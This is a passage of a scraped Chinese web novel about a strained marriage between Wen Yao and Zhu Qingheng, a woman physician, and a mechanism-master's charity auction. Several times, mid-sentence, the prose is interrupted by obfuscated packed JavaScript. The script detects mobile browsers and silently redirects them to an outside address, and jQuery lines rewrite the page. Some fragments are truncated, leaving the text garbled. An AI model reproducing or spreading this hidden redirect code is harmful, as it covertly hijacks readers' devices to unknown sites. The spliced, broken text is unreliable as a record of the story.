明明温窈找过仵作,验证了山辛夷的确是服毒而死,退一万步来说如果此事当真和温长风脱不了干系,又究竟关他祝清衡什么事呢? 因为他没能提前阻止?他又不是先知。 祝清衡侧卧在床榻上,没有发出声响。一刻钟后,约莫是外间的温窈没听见动静,以为他睡着了,遂也灭了烛火,轻声上榻睡在外侧。 祝清衡猛地抓住她的手腕。 出乎意料地,温窈没有挣扎,黑暗中祝清衡只能看见她的轮廓。 男人喉头滚了滚,这几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241212|165315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日是他们成婚三年来第一次冷战,其中亦有他赌气的成分在。 可他渐渐发现,他受不了温窈这么冷待他,也受不了温窈像一个陌路人般,仿佛随时随地都能抽身离去。 然而抓住女人的手腕后他又不知道该开口先说什么,反而是温窈道:“我有些乏了,睡吧。” “温窈,”祝清衡没有松手,救命浮木般感受着她的温度,“我做错什么了吗?” 温窈似是疑惑,“嗯?” “五日,”祝清衡说,“你接连五日都对我这般冷淡,我不明白我做错了什么。” 温窈在黑暗中沉默了一会儿,道:“你没有做错什么。” “那为什么你突然这样对我,”祝清衡支起身,才发现温窈背对着他,心像被猛地撞击了一下,“窈窈……到底怎么了?” 难道是她怪他那天多嘴问太多,还是怪他没有出言帮她带走山辛夷的遗体……? “我这几日总会梦到阿娘,”温窈说,“清衡,从前,你可有察觉她什么异处?” 鬼使神差地,祝清衡松开了她的腕子,躺回了枕上,良久道:“我与山娘子几乎没有交集,不曾有察觉。” “是吗,我时常想,她总是那么狠心。” 温窈像在和祝清衡说,又像在和自己说,“当年她以命相逼,宁死也要我嫁予你,如今突然了结自己的性命,却没有任何筹码。” 祝清衡无声攥了攥衾被,心脏不安地跳动。 三年前他与温窈定下婚期之前,山辛夷找过他一次。 此事天知地知,除了他和山辛夷,温长风也未必知道,何提温窈。 身边女人的声音变得很轻,“清衡,你说她服毒自尽,是否是想告诉我什么。” “你别想太多,”祝清衡听见自己状似安慰道,“也或许,是因为她不慎得知罗安入狱的消息,才……” “罗安?”温窈嗓音发颤,像是有些不可置信,“罗安有消息了?” “坊间都传,周天辰和薄岑之案的幕后真凶,便是青山山氏的山罗安。”祝清衡说,“我怕你受不住,一直没敢提。” “不可能!”温窈急声反驳,似是十分激动,“山家消失已久,连我都不知其踪迹,倘若现身又怎么会杀人呢?” “我疑心是陛下为捕真凶放出的烟雾,”祝清衡暗中松了口气,小心扣住温窈的手指,“此事交给我,我会想办法探清楚。” 凄清的夜里,昏暗得只能看见人影的床榻上,温窈面无表情地望着虚空,和方才焦急辩解的语声判若两人。 她像是试探着询问,眉目却如同凝染了寒霜。 “阿娘去了,如今山家只我一人。” “清衡,山家以机关布筹为生,我不能眼睁睁看着它没落。” 祝清衡下意识道:“可你是女子,又已为人妇,如何能……” 温窈轻轻说,“十五日天城河,是大兖有名的机关师筹备的义卖会,清衡,我想去看看。” 房中寂静了许久,久到温窈以为不会再听到祝清衡的回答。 他说:“……好。” 温窈几近讥诮地想。 祝清衡,你是否会像今夜承诺我这样真正放我去呢? 20. 谁与问东流 “黄柏、苍术各三钱,薏苡仁一两,川牛膝五钱,并水大火煮沸再转温火,每日早晚各一次。” 柳瓷将写好的药方交到身边女子手中,道:“令堂乃是湿热痹症,需按时服药温养,再辅以针灸,便能好受许多。” “……多谢女大夫。” 那女子脸色有几分犹疑,欲言又止,犹豫着却听那女大夫弯身对她母亲道—— “阿婆,每月初六、十六、二十六,我都会在子盛街义诊,您腿脚不好,届时让令媛来寻我到家中为您针灸。” 义诊,就是不收取看诊费用。女子怔愣间柳瓷已收好了医箱,眼看着就要离去,她连忙追上去,道:“女大夫,这……” “我姓柳,”柳瓷道,“不必介怀,一点小事罢了。” 柳瓷说得这般坦荡,倒叫女子说不出旁的话来,只好说起别的,“从前倒没见过您。” 她也是听隔壁王婶说起附近搬来了一个女大夫,为人和善、乐善好施才斗胆去试了试——屋中的老母其实是她婆婆,她的丈夫常年参军在外,家中只有她和半大的孩子,以及久病缠身的老母。 她不是没想过到城里请一个郎中为老母诊治,可老母的病症非一日可解,家里又孤儿寡母……总容易惹出闲话。 将柳瓷请来她本没抱什么希望,毕竟柳瓷是女子,技艺恐怕不比那些郎中精湛,只能说是聊以慰藉罢了。 倒不曾想见她行医做事的风范,不仅不比男人差,甚至医者仁心,更有几分人情味。 “我家父乃是医师,我自幼与他学医,才得了这一手手艺,”柳瓷见她心有疑虑,笑道,“过去我们久住九粟城,如今旱灾扰人,家父离家已久到长安寻亲不曾归来,我这才到长安来寻他……总要讨口饭吃。” 女子疑窦微消,面上也起了几分笑意,“不若女大夫说说家父的相貌特征,或许我……” “家父已逝,”柳瓷低声道,“我惟愿传承家父之遗愿,行医积善,方不叫我柳家埋没。” 女人又一次怔住,回过神时柳瓷早离开了小院。她抿了抿干燥的唇,满怀心事地回到房中。 …… “竹山?” 柳瓷眉头动了动,她在此处住了几日都不见祝清衡再出现在附近。 长安没有秘事,她自然听说了丞相发妻突逝的消息,想必对祝清衡家中那位打击不小,祝清衡也不可能再这种时候还想着借她试探,她也乐得安宁。 竹山不敢在她那小宅门口等,只揣着手候在中街,恰巧就碰上出医归来的柳瓷,连忙道:“柳姑娘,进去说话罢。” 柳瓷不动声色打开门,让竹山到院里。眼下正是用午膳的时间,坊间没有多少人,不至于被人瞧见。 “柳姑娘,在下是受大人所托,来向您打听一件事。” 柳瓷问:“什么?” 她之前在青楼两月,多多少少被各式各样的信息浸染,祝清衡有事会想到找她打听她并不意外。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255667|165315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “您可听说过,仇山大师的义卖会?”竹山觑着她的表情试探着说,“好像是在天城河,这个月十五日,您有印象吗?” 当然有。 柳瓷脸色未变,将医箱顺手放在院中的石案上,“怎么?” “您知不知道这个义卖会都邀请什么人,”竹山问,“还有,怎么样才能拿到参加的请帖?” 柳瓷眉目半垂,道:“此事我在春怡楼时确有听闻,不过谈及此事的人很少,多半是些名不见经传的客人……再者,那些人也并非是都有请帖的。” 仇山筹办的这场义卖会,亦是为了九粟城旱灾之事,以义卖的方式筹得义款。 而仇山之名虽未在长安广为流传,但只要提起机关师,人人的第一反应便是仇山,第二才会追忆起锋芒已落的山氏。 因此,这场义卖会并非对外,所以参会的客人,必须持请函方能入内。 至于仇山选择客人的理由,旁人都很难评说,更别提对此毫无了解的柳瓷。 竹山升起的希望破灭,看起来有些气馁,“多谢柳姑娘了。” “祝大人为何要问起此事,”柳瓷眼眸轻转,似是好奇,“是祝大人想去么?” 竹山无奈摇头,“在下也不知,只知道好像是少夫人对此感兴趣。” 少夫人,不就是温窈么? 徐婵当时将请函给她让她接近温窈,后又告诉她祝家会有人去,难道不是温窈么? …… 21. 江碧鸟逾白 “此次共有五件卖品,”狐面小子说,“将由在下担任本次义卖会的拍卖师。” “三次叫价,价高者得,祝诸位都能得到心爱之物。” “第一件,郴州江氏的青釉玉器。” 郴州江氏以烧瓷闻名,但江家的玉器不是千金难求,没什么稀奇的,作为义卖品只能说中规中矩。 狐面小子似唇角划过一抹笑,让开半步示意同样戴着狐面的助手掀开深色的绸布。 木架琉璃罩内,一只通体清透的淡青色花瓶静放其中,形似观音手中净瓶。 狐面小子不慌不忙接过助手递来的火折子和蜡烛,将烛台放在琉璃罩不远不近处,点燃烛火。 火光亮起,焰色打在玉瓶上,几瞬后玉身映出星点金光,和青玉底色呼应,宛如青山金瀑。 “金玉逢山,”台下有人道出它的名字,“此物乃江家老祖的得意之作之一,若某没记错,这樽玉瓶应是赠与了青山符氏,怎会在长安义卖?” 坐在台下的人大多为了仇山之名来,多少见过世面,尚能沉得住气,可犹然能见有人无声挺直了腰,正色不少。 “这位姑娘说得正是,”狐面小子灭了烛,缓缓道,“这樽玉瓶确实是金玉逢山。” “诸位大可放心,义卖会上卖出的卖品一律过了明路,只要拍下,便无有后顾之忧。”狐面小子知道他们的疑惑和顾虑,可惜他只负责拍卖,没有向看客解释来龙去脉的义务,“金玉逢山,三十两起价。” 江家老祖的得意之作,其价值不论是收藏还是装饰,都远不止三十两。 “七十两。”方才率先出言点出此物来源的女人开口道。 很快便有人接价,“八十两。” 那女子似是孤身而来,幂篱下看不见神情,“我说的,是七十两黄金。” 众人哗然。 这金玉逢山虽确是千载难逢,倒没值得七十两黄金的地步。 即便是富贾人家,台下又有多少人能张口随便拿出七十两黄金去买一只玉瓶呢? 狐面小子稳如泰山,道:“七十两黄金一次。” “七十两黄金两次。” “七十两黄金——” “我出七十一两,”一黑衣人道,“黄金。” 这位黑衣人混在一层塔众人中间,显然也是有备而来,声线经过掩饰听不出男女。 先前的女子似是侧头朝他的方向看了一眼,道:“八十两黄金。” 众人:…… 他们不禁暗暗打量起喊价的女子——素衣布鞋,幂篱也是普通得不能再普通的幂篱——如此叫价,当真不怕塔中有人起不轨之心,遭到觊觎吗? 狐面小子道:“八十两黄金一次。” “八十两黄金两次。” “八十两黄金三次。” “成交。” 木槌落下,狐面小子目光落在那素衣女子身上,道:“稍后会有人登记姑娘名姓,多谢姑娘慷慨解囊。” 八十两黄金,哪怕狐面小子立刻就宣布义卖会结束,这些钱也足够九粟城大半的百姓捱过月余了。 台下众人不由心生所期,连金玉逢山这样的东西仇山都舍得拿出来义卖,余下的四件卖品,会不会更胜一筹呢? “金玉逢山”被撤下,狐面助手很快捧上下一件卖品,掩在黑布之下,瞧着只有两指厚。 “第二件卖品,”狐面小子说,“潜周城芳菲坊宅院地契一张,占地五亩私宅。” “第三件卖品,太和岸珍珠,共两千三百二十一枚。” 芳菲坊乃是潜周城最好的地段,最终私宅以三十五两黄金被二层塔的一男子拍走;而太和岸珍珠非难觅珍品,但胜在数量众多,被一层塔的看客以三百一十两黄金买下。 时已过半,第四件卖品奉上时,几乎人人屏息凝神。 他们知道,在这场义卖会上,无论仇山会卖什么,一定会有一样东西—— 机关图,真正千金难买的、由仇山亲自设计的机关图。 …… “公子,有人上了三层塔。” 文福耳廓微动,他能留在谢岐身边全靠一副好耳力,为谢岐省了不少麻烦。 谢岐随意敲了敲指节,听着一层塔众人争相报价,不置可否。 果然,这场义卖会的第四件卖品,是仇山所作的机关图。 但凡仇山手中流出的图纸,无一是凡品——也许是工具,也许是建筑,也许是军械。 一个好的机关,甚至可以颠覆一个王朝。 短短几息间楼下已加价到七百两,黄金。 于他们来说,金银俗物,不比那一纸画图。 加价的人们一声接一声,直到数目达到一千两。 千两黄金,无数人趋之若鹜,弹指便在一言一语中挥洒。 一千两黄金已是大部分人能拿出来的极限,况且他们并非无脑加价,那方黑布下遮住的究竟是什么图纸,亦是最终决定的关键点。 可惜狐面小子不曾揭露,他们只能有所斟酌。 一层塔的声音已逐渐萧索。 “一千又六十两黄金一次。” “一千又六十一两一次。” …… “一千又一百三十二两一次。” …… “一千五百两一次。” “一千五百两两次。” 谢岐从怀中取出一枚碧色玉玦,掀开遮帘一角放在外窗木台。 狐面小子偏了偏脸,视线如同鹰眼立即锁定在左上方,“西楼的看客?” “三千两,”帘后传来尖细的嗓音,“我们家公子出三千两黄金。” 整整高出两倍的报价。 塔中霎时静了一瞬,有人不禁道:“阁下好财力。” 不单是财大气粗毫不犹豫能拿出三千两黄金,更指的是他出示在窗前的玉玦。 有眼力的一眼便能瞧出,那枚玉玦刻的是龙纹。 如此,帘后之人要么是与皇室亲近者,要么就是皇室人—— 大胆些猜测,更有可能是上面那位本人。 狐面小子收回视线,西楼的人直接出双倍价钱买一张内容不明的图纸,显然不会再有人加价,“三千两一次,三千两两次,三千两三次——恭喜看客,得到了仇山大师的图纸。” “既已被拍下,可否透露其上内容?”哪怕这种可能微乎其微,他们也想尽力探听一二。 狐面小子微笑着摆了摆手,示意身边助手将台上的东西撤下去,随后独自站在台中间,道:“第五件卖品。” 他话音落下,却迟迟没有人送上东西,只有四周烛台燃起了焰火。 狐面小子道:“今日的最后一件卖品,便是这座七层塔——追天。” …… 祝清衡从塔中走出时,几乎难掩恍惚,仿佛在塔中的经历如同一场幻梦。 他穿到大兖二十余年,日日在臧翡和祝正和的仁义礼教导之下,从未体验过如此……纸醉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那种恍然的不真实感再次袭来,祝清衡毫无预兆地问:“你是怎么穿来的?” 柳瓷看了他一眼,说:“车祸,下班的时候被卡车撞下了天桥。” 祝清衡顿了顿,道:“我好像……也是因为车祸。” 如果他没记错,他在现代身死的时候,也才二十出头,大学毕业不久。 那时他好像正在一家游戏公司实习,有一次晚上陪领导应酬完回家,却不慎出了车祸,再睁眼,他就成了襁褓婴儿,成了祝家唯一的儿子。 他问:“那你想回去吗?” “想,”柳瓷没有犹豫,他们并肩站在河边,眸光如一的空洞,“我不属于这里,但没办法了。” 既然他们都是出了车祸才来到大兖,那么极有可能他们在现代的身体已经死亡。 眼下唯一能想到回到现代的办法,大概是死在大兖。 可这是拿他们现有的生命冒险,谁也不敢赌。 临近傍晚的秋风已有了渗透皮肤的寒意,若有若无地吹动着男人斗笠上遮掩面容的白纱。 祝清衡忽地眼神定住,一眨不眨地盯着人群中一道匆匆离开的背影。 柳瓷察觉到他的出神,不由问:“怎么了?” 祝清衡明显心不在焉,敷衍道:“没什么,我该回家了。” 方才人群里的女人……怎么那么像琉锦? 22. 山青花欲燃 追天塔内,只余拍下卖品的五位……狐面小子逡巡一圈,视线瞟向毫无动静的西楼,低声对身边人吩咐道:“去问问西楼的客人。” 助手连忙应下,匆匆上了二层塔,很快又快步回来。 他看着有些惶然又有些惊异,“……没人。” 狐面小子朝他投去质询的眼神,他咽了咽口水,缩到狐面小子身后用气声道:“他去了三层塔。” 狐面小子掩在面具下的面容仿佛皲裂一瞬。 “你再说一遍?” 助手:“……” 狐面小子脖颈被定住般僵了半晌,直到其中一个买家出声叫他,他才如梦初醒转过脑袋,神态如常道:“诸位请先随我来签下文书罢。” “等一下,”出声的是白衣女子,听声音年纪不大,犹有少女的娇俏,“你们主子呢?” 狐面小子不动声色护着助手退后一步,“阁下何意?” “别装傻,”年轻女子虽戴着幂篱,但并不影响她看清外物,满不在意地向四周抬了抬下颌,“我们费那么大力气、花那么多财钱,就把东西给我们就打发了?” 仇山给出的卖品非凡品不假,更别说还有仇山亲手所绘机关图纸……可他们千里迢迢跑来长安赴会,本就不是为了这些东西来的。 “我家主人举办此次义卖会,拿出的卖品已极具诚意,”狐面小子眼神自四人身上一一划过,“各位虽花了重金,那也是物有所值,不是么?” “少跟本姑娘打太极,我不吃这套,”年轻女子说,“我也不为难你,就让我和那仇山大师说上一句话,不过分吧?” 狐面小子:“……” “符姑娘所言在理,”着黑衣斗笠的男人也开口道,“就算仇大师有所顾忌不愿露面,与吾等交谈两句总是可以的?” 狐面小子还未说话,便听被男子称作“符姑娘”的年轻女子跳脚,“你怎么知道我是……好啊,方才与我叫价的人就是你吧,有本事把斗笠摘下来,让本姑娘看看你是何方神圣啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271950|165315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “出手阔绰,又无心其他,径直盯上金玉逢山的年轻女人,”倚在一边的白衣男子饶有兴趣接话道,“除了符家小小姐,大兖很难找出第二个了吧?” 符戎扭头瞪眼,“你又是哪个?” 白衣男子长叹:“一个仰慕仇山大师的无名小卒罢辽。” 符戎:“有病。” “好了,”一直未开口的最后一人道,“还请狐面先生通禀一声,吾等等候已久。” 仇山此人行踪最为不定,常年游走四方,能有这么直接联系的机会少之又少,必然不可耽误。 符戎无声打量了最后开口的女人一眼,此人开口沉稳谦和,倒像是哪家的长辈,故而她就算心生别扭,也将到嘴边的蛮话吞了下去。 狐面小子沉默,两人对四人僵持一阵,终于是狐面小子先松口,“好罢,在下只代通传,不保证……” “狐面,”身后传来一女子熟悉而冷淡的声音,“主人有请,四位贵客随我来罢。” …… 23. 闲云不成雨 祝清衡回到青云院时,天际唯余一线白。 推开院门,便能瞧见内院灯火通明,寝房中亦映着暖色烛光。祝清衡目光在守在门前的琉锦身上停留一瞬,心里不由自主松了口气。 他去天城河是有意隐藏身份而去,是故不曾带侍从,竹山一直在青云院侍弄,若有异常,他必会前来禀报。 男人整理好心情,近来事故频发,使他与温窈之间的情分被离间生疏不少,但没关系。 只要他们相爱,只要温窈心里有他,所有坎坷都仅是无伤大雅的插曲…… 祝清衡在寝房门前停下脚步,问向琉锦,“你今日,一直在府中吗?” 琉锦目不斜视,回道:“少夫人在哪,奴婢便在哪。” 祝清衡皱了下眉,视线仿佛要穿过屋门望见里头的景象,琉锦似是而非的回答叫他察觉到不安,“少夫人今日一直在房中?” 琉锦垂目道:“奴婢不知。” 祝清衡心头猛地跳了两下,推开屋门还未来得及唤温窈的名讳,却见一女人百无聊赖地坐在外间梨花桌边,掌心撑着脸险些要睡了去。 祝清衡只觉牙根发酸,一股无名火窜至胸口。 他几乎在掩上屋门的瞬间冲到臧舒雯跟前,掐住她的手臂压声怒问:“温窈呢?!” 臧舒雯被他一惊,似是不明白他为什么这么大火气,茫然无辜道:“表嫂说有事要与姑母说,让我在这里等……奇怪,天都黑了怎的还不见她归来?” 祝清衡额角青筋微凸,被蒙在鼓里的臧舒雯加上有意模糊回答的琉锦,他哪还不知道发生了什么——温窈八成是利用臧舒雯作替身,秘密抽身出府去了! 今时今日她非要出府还能是为了什么?男人甩开女子的小臂,仿佛耗尽全身力气方能保持冷静,他睨着面露惊色的臧舒雯道:“滚出去。” 臧舒雯自然不敢在这种关头顶撞祝清衡,忙不迭埋着头跑了出去。 祝清衡站在原地很久,四肢僵硬地合上房门。 如此看来,他在天城河附近瞥见的背影便是琉锦。 温窈算计着他归府的时间,先叫琉锦回府,是算准了他祝清衡即便查明真相也会替她隐瞒,而守在门外的琉锦就是最好的掩护。 那温窈呢?祝清衡唇色发白,脑海中不断回想着追天塔内参与义卖的人,企图找到一丝温窈的痕迹。 如果温窈和他同在一层塔,祝清衡不可能认不出来——二层塔之人约莫尽是权勋贵族…… 祝清衡倏地愣住,身侧的指节已悄然握紧,发出咯咯的响声。 他记得,追天塔二层塔有个藏在幕绸后的人,拿出了龙纹玉玦作抵,而叫价的人嗓音尖细,不像刻意伪装,倒像—— 宫中的太监。 能带太监出宫且拿出有龙纹配饰的人,全长安找不出第二个。 男人的拳头发泄似的砸在梨花桌上。 …… 温窈本没有打算遮掩自己的行踪,她离开祝府时的确支开了人,可回去却没这个必要。 不论祝清衡会不会帮她隐瞒,这张维持在表面的脆弱的蓬罩早就不必再缝补,她对祝家已仁至义尽。 天光落尽,青云院寂寥瑟瑟,不见一间有亮色的屋房。 温窈面不改色地进屋,并不意外房中空无一人。 “姑娘,”琉锦用火折子点了两盏烛台,道,“祝大人发了通脾气,便自己走了,不知去了何处。” 那必然不是在祝府了,温窈垂眸扯了扯唇,道:“随他罢。” 三年来朝夕相处,夫妻同床,如今却走到两两相疑、分塌而睡的地步,温窈心如明镜,可感情上的事,没那么容易轻巧翻篇。 更何况,琉锦看得出温窈本已有要和祝清衡安稳度日的念头,越是挣扎纠结,在得知真相后就越失望痛苦。 她们何曾怀疑过,从五年前定下婚约到三年前温窈被迫出嫁,一切的一切,无一没有祝清衡的手笔呢? 欺骗、算计、背叛、虚伪……温窈自诩清醒,竟从未看透过枕边人的戏。 如果不是山辛夷的死,祝清衡又还要瞒她多久呢,直到她生下孩子,直到她再也无法从祝家脱身,直到她彻底被深宅框出棱横—— 或许他会瞒她一辈子,又或许会在将来的某一日因愧疚对她全盘托出,而温窈甚至会对他的坦诚感激涕零,更深刻的意识到他有多么多么爱她。 爱到亲手断去她的生路,顺理成章将她推进祝家的手掌心。 温窈没有脱下外衣,只在外间坐下,轻晃的烛火倒映在她眸瞳,像是要蔓延出无尽的火光,烧尽所有平和假象。 三更之时,男人方回到房中。 他身上沾了酒气,却没到喝醉的程度,视线在温窈身上顿了顿,无言进了里间。 温窈听见他脱衣的窸窣声,开口道:“你去哪了?” 里头的人沉默,半晌说:“和道南喝了点酒。” 若是平日温窈必定不会多问,她向来在这方面很信任祝清衡,可今夜她却一反常态,不依不饶道:“在哪喝的酒?” 祝清衡拧眉坐在床榻上,话在舌尖滚了一圈,还是回道:“顺安坊,老地方,你不是知道吗?” 温窈似是轻笑了一声,身影在屏风外叫人看不真切。 她问:“十一月初六,我命琉银去寻你那日,你在哪?” 莫名其妙地突然问这些做什么,祝清衡心下有些烦躁,他尚没有质问温窈,温窈反倒像拷问犯人似的怀疑上他了,下意识敷衍道:“自然是在大理寺。” “不,你不在,”温窈的声音很平淡,“琉银去大理寺寻你,寺中的衙役说,你不在大理寺,也没有去查案,而是往西北方向去了。” 祝清衡浸了酒的脑子总算迟钝地反应过来,可惜为时已晚,惊疑的寒意已然如同细水灌进了他的血液百脉,一时哑了他的喉咙,除了麻木惊颤无法动作。 “大理寺西北方,子盛街,梁柱坊,有一套祝家的私宅,”温窈没有半分拐弯抹角,更不闻一丝试探,陈述道,“你将柳瓷安置在那里,其实并不打算瞒过我,或者说,你本就期待着我发现。” 祝清衡嗓间干涩,犹如长出万根尖刺,疼得他难以出声。 原来温窈对他的行踪早就了若指掌,可她这些天行色如常,甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289109|165315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连打听、失神都不曾有——在温窈眼里,恐怕他祝清衡就是一个跳梁小丑,做这些可笑幼稚的蠢事,还妄想能博得她所有的关注。 男人终于哑声道:“很幼稚,是不是?” 温窈没有说话。 “我爱你胜过爱我自己,”祝清衡被酒意迷了头,失魂落魄道,“我只想你察觉到危机,害怕我被人夺走,然后更爱我,哪怕只是一点点。” 温窈对他的告白剖心不置一词,固执道:“我再问一遍,今夜你去了哪?” 祝清衡视线失焦地望着她的背影,“……梁柱坊。” 温窈又问:“十一月初六,琉银寻你之时,你在哪?” 祝清衡静了两瞬,缓缓道:“……梁柱坊。” 他眼皮抬了抬,忽然问:“你让人跟踪我?” “在丞相府那日,你到我身边的时候,身上有女人的脂粉味,不是我常用的香气,”温窈顿了顿,道,“与你今夜回来身上的气味一模一样。” 可笑的是,祝清衡身为大理寺少卿,竟对气味的细节无有敏感。 他确实有意想让温窈心生疑窦,目的达成,却是阴差阳错,全然与他的初心相悖。 为什么又偏偏两次都撞到枪口上……祝清衡张了张唇,恍然生出几分悔意,“我和她没有什么,仅是因那首诗动了恻隐之心……无论如何,我心里只有你。” 温窈并不关心,良久道:“你还有什么对我说的吗?” 祝清衡慢半拍问:“……什么?” “对我还有什么隐瞒,”温窈从头到尾没有回过头,语气也没有起伏,“一并说了罢。” 男人眸光闪了闪,指腹无意识摩挲了两下,道:“我对你向来没有秘密……明日我会叫柳瓷搬走,让她离开长安,永远不会再出现在我们眼前,好吗?” 温窈闭了闭眼,山辛夷惨白冰冷的脸庞如同梦魇闪回在她脑中。 她竟还对祝清衡抱有希望,期冀着能从他口中听到一点忏悔和愧疚。 太蠢了,温窈。 女人对自己说。 蠢得无可救药。 屏风后,祝清衡看见温窈站起身,却是朝门外走,不由出声叫住她,“你还要去哪?” 温窈平静道:“我去书房,你我都静一静。” “不行!”祝清衡想也不想一口否决,趿着鞋要去拦她,却眼前一黑险些栽倒,“不许去,我和那个女人真的没有关系,窈窈,你知道我对你的真心的!” 温窈却像不想和他争论,不见犹豫地已到了门前。祝清衡急声道:“你今日出府到夜深亦不曾告知我,为何偏偏只……” “只什么?”温窈冷呵一声,“我分明早和你说过,今日我想去见仇山,他约莫会有山家的消息。” “然而就在前两日,献给皇帝的生辰礼便如此巧合地落到了我手中,母亲不满我私葬阿娘坏了祝府名声,罚我禁足青云院,直到绣完贺礼。” 温窈道:“有时候还真是巧,一旦我有半分和山家有关的消息,总会被各种各样的情况阻拦。” “祝清衡,你说,缘何世上总会有那么巧的事呢?” 24. 故傍碧山飞 温窈夜深才归的消息很轻易地传进了瑾华院,臧翡盛怒,天色还未大亮便差人冲进青云院,颇有要拿温窈“问罪”的架势。 徐嬷嬷领着人要敲响主屋屋门时,却见温窈已穿戴齐整,早有预料般出现在长廊另一端。 她心下觉摸出一丝怪异,但不及深想,面前的屋门从里面被打开,祝清衡眼皮半掩,看起来是匆匆披上的外衣,脸色难藏颓唐憔悴。 徐嬷嬷微惊,不由道:“少爷,您这……?” 电光石火间,徐嬷嬷似乎明白了什么,但祝清衡没有给她火上浇油的机会,冷声道:“一大早莽莽撞撞地做什么,到我院里不通传不见礼,要翻天不成?!” 他心中郁结,自然把气尽数洒在撞“枪口”的人上。男人眼风下扫,视线掠过这些仆从。 他们多数是臧翡院里的人,想必是知道温窈离府一事特地来捉人去问话的。 ——昨夜温窈将琉锦留在青云院,虽是做样子,但也只是为了她能安心赴约追天塔,事情了结后,温窈压根没有隐瞒的意思,否则不会光明正大地从府外回来。 她本就没留后路,已经做好撕破脸的准备了。 徐嬷嬷眼珠子转了一圈,拿捏不住祝清衡的态度,只得先道:“夫人听闻昨夜少夫人似是出了府,眼下世道乱了,夫人也是关心则乱……” 她心道臧翡是气昏了头,都忘了今日朝中休沐,祝清衡和祝正和还在府中。不过温窈不仅无视臧翡命令外出,甚至夜深方归,恐怕即便是祝清衡也很难为她维护狡辩了。 不守妇道的女人,年轻时尚能仗着一副皮相将男人惑得五迷三道,一旦年华逝去,又没有子嗣傍身,便只有被嫌弃苛待的结局了。 可惜温窈目光短浅、固执愚笨,如此肆意妄为,能得几时好呢? 徐嬷嬷半低着头,等待着男人发话。 祝清衡垂着眼,事到如今他哪能不明白温窈的心思,越是明白心就越沉。 他平白生出一股隐秘的气愤和悲哀,他们成婚三载,温窈对他竟无一丝信任,非要一举将事情做到绝路吗? 晨早的冷风吹打在面上,拂起阵阵寒意。 温窈在廊下道:“既然母亲要问我,徐嬷嬷便带路吧。” “等等!”祝清衡骤然抬头,干裂的唇蠕动两下,才道,“我与你一起去。” 温窈不置可否。 倒是徐嬷嬷面露犹疑,试探道:“这婆媳之间小话,少爷何必……” “不必多言,”祝清衡下颌紧勒出一条线,眼睛死死盯着浑不在意的温窈,“我自会同母亲说道。” …… “……大哥,”谢丑抱着刀倚在红门边,欲言又止止言又欲,最终道,“这么早,祝家做主的人恐怕还未起吧?” 伏龙使起早贪黑是常事,可官臣人家鲜少有休沐日天未亮就起身的。 再者他们今日来虽是为了公事,而伏龙使办事不问神佛只听圣旨,那也还没嚣张到在人家睡梦时登门——毕竟不是犯人不是? 谢子木着脸叩响了门,道:“陛下这么安排,自有陛下的道理。” 谢丑耸了下肩,正想着说不准祝府的仆从要将他们安排到正堂等上一阵才能见到,祝府大门便被人打开。 谢子亮出腰牌,那小厮愣了两瞬,立马点头哈腰道:“小的这就去请我家老爷。” 谢子道:“我等要寻你家少夫人,并非祝御史。” 小厮身形顿住,神色有几分怪异,犹豫着说:“不若大人们先入府喝茶,小的请示过家中主人再……” “那便直接引我等去见祝御史罢,”谢子淡淡道,“想必祝御史已起了?” 何止是起了。小厮尴尬地笑了笑,偏偏上门之人是伏龙使,不是可打发的。 小厮咬了咬牙,躬身请二人入内,“还请大人们莫要为难小人,让小的先行通报罢。” 看样子祝家人不仅都醒了,还有家事要处理。 两人相视一眼,心中有了打量,谢子松口道:“烦请快些,诏狱要事,耽搁不得。” 